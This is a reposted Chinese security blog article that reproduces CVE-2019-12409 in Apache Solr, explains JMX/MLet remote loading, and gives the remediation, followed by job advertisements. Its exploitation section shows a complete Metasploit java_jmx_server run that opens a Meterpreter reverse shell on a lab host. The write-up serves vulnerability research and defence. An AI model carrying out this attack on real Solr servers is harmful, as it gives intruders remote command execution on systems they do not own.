Apache Solr不安全配置远程代码执行漏洞复现及jmx rmi利用分析

admin 2022年5月1日14:45:39安全文章评论14 views7923字阅读26分24秒阅读模式

No.1

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。


No.2

起因

11月18号Apache Solr官方更新了一个安全漏洞公告

修复了一个在Linux环境下部分版本不安全配置存在远程代码执行漏洞,CVE编号:CVE-2019-12409。影响linux 下的Apache Solr 8.1.1 和 8.2.0 版本。在Linux 下的环境下的Apache Solr 8.1.1和8.2.0版本存在默认不安全配置(ENABLE_REMOTE_JMX_OPTS="true")


No.3

搭建环境

官网下载8.2.0 的solr 安装包

Apache Solr不安全配置远程代码执行漏洞复现及jmx rmi利用分析

放到linux 服务器,解压进行安装。

Apache Solr不安全配置远程代码执行漏洞复现及jmx rmi利用分析

切换到solr 的bin 目录,配置开启jmx 监控

Apache Solr不安全配置远程代码执行漏洞复现及jmx rmi利用分析

手工开启jmx

Apache Solr不安全配置远程代码执行漏洞复现及jmx rmi利用分析

开启成功

Apache Solr不安全配置远程代码执行漏洞复现及jmx rmi利用分析


No.4

利用分析

该漏洞从根本上还是基于 rmi协议的jmx 的问题。


什么是jmx

JMX在Java编程语言中定义了应用程序以及网络管理和监控的体系结构、设计模式、应用程序接口以及服务。通常使用JMX来监控系统的运行状态或管理系统的某些方面,比如清空缓存、重新加载配置文件等


JMX 基础

1: 创建1个自己的MBean, 首先定义1个接口

package com.weirdbird.test.server;public interface HelloMBean {    public String getName();    public void setName(String newName);    public String sayHello();
}

2: 为接口提供实现方法

package com.weirdbird.test.server;public class Hello implements HelloMBean {    private String name = "MUNIU LABS";    // getter/setter for the "name" attribute
   @Override    public String getName() { return this.name; }
   @Override    public void setName(String newName) { this.name = newName; }    // Methods
   @Override    public String sayHello() { return "hello: " + name; }
}

3: 启动MBEAN SERVER

通过ManagementFactory.getPlatformMBeanServer 创建

package com.weirdbird.test.server;import java.lang.management.ManagementFactory;import javax.management.*;public class MBeanClient {    public static void main(String[] args) throws Exception {

       // Connect to the MBean server of the current Java process
       MBeanServer server = ManagementFactory.getPlatformMBeanServer();        System.out.println( server.getMBeanCount() );

       // Print out each registered MBean        for ( Object object : server.queryMBeans(new ObjectName("*:*"), null) ) {            System.out.println( ((ObjectInstance)object).getObjectName() );
       }
   }
}

4: 注册MBean 实例

注册MBean 实例,然后利用jconsole 就可以连接,这就是1个基础的jmx demo .

package com.weirdbird.test.server.MBeanExample;import com.weirdbird.test.server.*;import com.weirdbird.test.server.Hello;import java.lang.management.ManagementFactory;import javax.management.*;public class MBeanExample {    public static void main(String[] args) throws Exception {

       // Create a new MBean instance from Hello (HelloMBean interface)
       Hello mbean = new Hello();

       // Create an object name,
       ObjectName mbeanName = new ObjectName("com.weirdbird.test.server:type=HelloMBean");

       // Connect to the MBean server of the current Java process
       MBeanServer server = ManagementFactory.getPlatformMBeanServer();        server.registerMBean(mbean, mbeanName);

       // Keep the application running until user enters something        System.out.println("Press any key to exit");        System.in.read();
   }
}

Apache Solr不安全配置远程代码执行漏洞复现及jmx rmi利用分析

利用方式

13年, 就提出过针对jmx rmi 的攻击利用

Exploiting JMX RMI(https://www.optiv.com/blog/exploiting-jmx-rmi )

在没有安全管理器的情况下可以通过javax.management.loading.MLet MBean 远程创建恶意Mbean
利用步骤:

    1.启动一个远程带有恶意的MLet and a JAR 的web 服务。

    2.使用JMX在目标服务器上创建MBean javax.management.loading.MLet实例

   3. 调用MBean实例的“ getMBeansFromURL”方法,我们部署的Web服务器URL作为参数传递。JMX服务将连接到http服务器并解析MLet或者jar文件。

    4.JMX服务下载并加载MLet文件中引用的JAR文件,从而使恶意MBean可通过JMX使用。

    5.攻击者最终从恶意MBean调用方法进行执行shell 。

现有github开源的

https://github.com/mogwailabs/mjet


漏洞利用

jmx 的rmi 利用方式,可直接使用msf 的 exploit/multi/misc/java_jmx_server 模块进行直接利用 ,
或者也可以用github 开源的mjet 项目进行利用执行命令。

msf5 payload(java/meterpreter/reverse_tcp) > use exploit/multi/misc/java_jmx_server  
msf5 exploit(multi/misc/java_jmx_server) > set RhOSTS 172.16.194.138 RhOSTS => 172.16.194.138msf5 exploit(multi/misc/java_jmx_server) > set rport 18983 rport => 18983msf5 exploit(multi/misc/java_jmx_server) > show options

Module options (exploit/multi/misc/java_jmx_server):

  Name          Current Setting  Required  Description
  ----          ---------------  --------  -----------
  JMXRMI        jmxrmi           yes       The name where the JMX RMI interface is bound
  JMX_PASSWORD                   no        The password to interact with an authenticated JMX endpoint
  JMX_ROLE                       no        The role to interact with an authenticated JMX endpoint
  RHOSTS        172.16.194.138   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT         18983            yes       The target port (TCP)
  SRVHOST       0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
  SRVPORT       8080             yes       The local port to listen on.
  SSLCert                        no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH                        no        The URI to use for this exploit (default is random)

msf5 exploit(multi/misc/java_jmx_server) > run

[*] Started reverse TCP handler on 172.16.194.1:4444 [*] 172.16.194.138:18983 - Using URL: http://0.0.0.0:8080/jZoQb6ce83
[*] 172.16.194.138:18983 - Local IP: http://198.18.0.1:8080/jZoQb6ce83
[*] 172.16.194.138:18983 - Sending RMI Header...
[*] 172.16.194.138:18983 - Discovering the JMXRMI endpoint...
[+] 172.16.194.138:18983 - JMXRMI endpoint on 127.0.1.1:18983[*] 172.16.194.138:18983 - Proceeding with handshake...
[+] 172.16.194.138:18983 - Handshake with JMX MBean server on 127.0.1.1:18983[*] 172.16.194.138:18983 - Loading payload...
[*] 172.16.194.138:18983 - Replied to request for mlet
[*] 172.16.194.138:18983 - Replied to request for payload JAR
[*] 172.16.194.138:18983 - Executing payload...
[*] Sending stage (53928 bytes) to 172.16.194.138[*] Meterpreter session 1 opened (172.16.194.1:4444 -> 172.16.194.138:58636) at 2019-11-20 00:35:36 +0800meterpreter > sysinfo
Computer    : weirdbird007
OS          : Linux 4.15.0-70-generic (amd64)
Meterpreter : java/linux
meterpreter > shell
Process 1 created.
Channel 1 created.
id
uid=1000(weirdbird007) gid=1000(weirdbird007) groups=1000(weirdbird007),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)

Apache Solr不安全配置远程代码执行漏洞复现及jmx rmi利用分析

请勿使用本文探讨技术进行非法攻击,目前solr的jmx开启场景目前主要也是会在内网开启较多。


No.5

修复方式

修改Apache Solr的bin目录里的solr.in.sh配置文件中的ENABLE_REMOTE_JMX_OPTS字段值为false或者升级solr版本,修改完配置需要重启服务才能生效,并且启用 Solr JMX 服务身份验证。


No.6

招聘启事

雷神众测SRC运营(实习生)
————————

工作地点:杭州(总部)、广州、成都、上海、北京

【职责描述】
1.  负责SRC的微博、微信公众号等线上新媒体的运营工作,保持用户活跃度,提高站点访问量;
2.  负责白帽子提交漏洞的漏洞审核、Rank评级、漏洞修复处理等相关沟通工作,促进审核人员与白帽子之间友好协作沟通;
3.  参与策划、组织和落实针对白帽子的线下活动,如沙龙、发布会、技术交流论坛等;
4.  积极参与雷神众测的品牌推广工作,协助技术人员输出优质的技术文章;
5.  积极参与公司媒体、行业内相关媒体及其他市场资源的工作沟通工作。

【任职要求】 
 1.  责任心强,性格活泼,具备良好的人际交往能力;
 2.  对网络安全感兴趣,对行业有基本了解;
 3.  良好的文案写作能力和活动组织协调能力。



雷神众测白帽运营(实习生)

————————

工作地点:杭州(总部)、广州、成都、上海、北京

【岗位职责】

1.准确了解白帽子爱好,发掘白帽子需求

2.负责各类周边、礼物的挑选与采购

3.对黑客文化有深刻认知

4.维护白帽关系


【任职要求】

1.具有良好的审美眼光

2.具备定制礼品礼物经验

3.较强的沟通以及协调能力

4.为人正直,具备良好的职业道德,能吃苦耐劳,具有良好的团队合作精神


【加分项】

1、具备美术功底、懂得设计美化等

2、有互联网运营经验


简历投递至 [email protected]

设计师

————————

【职位描述】
负责设计公司日常宣传图片、软文等与设计相关工作,负责产品品牌设计。

【职位要求】
1、从事平面设计相关工作1年以上,熟悉印刷工艺;具有敏锐的观察力及审美能力,及优异的创意设计能力;有 VI 设计、广告设计、画册设计等专长;
2、有良好的美术功底,审美能力和创意,色彩感强;精通photoshop/illustrator/coreldrew/等设计制作软件;
3、有品牌传播、产品设计或新媒体视觉工作经历;

【关于岗位的其他信息】
企业名称:杭州安恒信息技术股份有限公司
办公地点:杭州市滨江区安恒大厦19楼
学历要求:本科及以上
工作年限:1年及以上,条件优秀者可放宽


简历投递至 [email protected]


安全招聘
————————

公司:安恒信息
岗位:Web安全 安全研究员
部门:安服战略支援部
薪资:13-30K
工作年限:1年+
工作地点:杭州(总部)、广州、成都、上海、北京

工作环境:一座大厦,健身场所,医师,帅哥,美女,高级食堂…

【岗位职责】
1.定期面向部门、全公司技术分享;
2.前沿攻防技术研究、跟踪国内外安全领域的安全动态、漏洞披露并落地沉淀;
3.负责完成部门渗透测试、红蓝对抗业务;
4.负责自动化平台建设
5.负责针对常见WAF产品规则进行测试并落地bypass方案

【岗位要求】
1.至少1年安全领域工作经验;
2.熟悉HTTP协议相关技术
3.拥有大型产品、CMS、厂商漏洞挖掘案例;
4.熟练掌握php、java、asp.net代码审计基础(一种或多种)
5.精通Web Fuzz模糊测试漏洞挖掘技术
6.精通OWASP TOP 10安全漏洞原理并熟悉漏洞利用方法
7.有过独立分析漏洞的经验,熟悉各种Web调试技巧
8.熟悉常见编程语言中的至少一种(Asp.net、Python、php、java)

【加分项】
1.具备良好的英语文档阅读能力;
2.曾参加过技术沙龙担任嘉宾进行技术分享;
3.具有CISSP、CISA、CSSLP、ISO27001、ITIL、PMP、COBIT、Security+、CISP、OSCP等安全相关资质者;
4.具有大型SRC漏洞提交经验、获得年度表彰、大型CTF夺得名次者;
5.开发过安全相关的开源项目;
6.具备良好的人际沟通、协调能力、分析和解决问题的能力者优先;
7.个人技术博客;
8.在优质社区投稿过文章;


岗位:安全红队武器自动化攻城狮
薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)

【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。

【岗位要求】
1.熟练使用Python、java、c/c++等至少一门语言作为主要开发语言;
2.熟练使用Django、flask 等常用web开发框架、以及熟练使用mysql、mongoDB、redis等数据存储方案;
3:熟悉域安全以及内网横向渗透、常见web等漏洞原理;
4.对安全技术有浓厚的兴趣及热情,有主观研究和学习的动力;
5.具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。

【加分项】
1.有高并发tcp服务、分布式等相关经验者优先;
2.在github上有开源安全产品优先;
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
5.具备良好的英语文档阅读能力。


简历投递至 [email protected]

安全服务工程师/渗透测试工程师


工作地点:新疆


1、掌握渗透测试原理和渗透测试流程,具备2年以上渗透测试工作经验,能够独立完成渗透测试方案和测试报告;
2、熟悉风险评估、安全评估;
3、熟练掌握各类渗透工具,如Sqlmap、Burpsuite、AWVS、Appscan、Nmap、Metasploit、Kali等;
4、熟练掌握Web渗透手法,如SQL注入、XSS、文件上传等攻击技术;
5、至少熟悉一种编程语言(php/java/python),能够独立编写poc者优先;
6、具有良好的沟通能力和文档编写能力,动手能力强;
7、对工作有热情,耐心、责任心强,具备沟通能力和良好的团队意识;
8、加分项:有安全开发经验/可进行代码审计工作;
9、加分项:有安全和网络相关证书,如CISSP、CISA、CISP 、CCNP、CCIE等认证者;
岗位职责:
1、参与安全服务项目实施,其中包括渗透测试与安全评估,代码审计,安全培训,应急响应;
2、独立完成安全服务项目报告编写,输出安全服务实施报告;


简历投递至 [email protected]

Apache Solr不安全配置远程代码执行漏洞复现及jmx rmi利用分析

专注渗透测试技术

全球最新网络攻击技术



END

Apache Solr不安全配置远程代码执行漏洞复现及jmx rmi利用分析

原文始发于微信公众号(白帽子):Apache Solr不安全配置远程代码执行漏洞复现及jmx rmi利用分析

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月1日14:45:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  Apache Solr不安全配置远程代码执行漏洞复现及jmx rmi利用分析 http://cn-sec.com/archives/965227.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: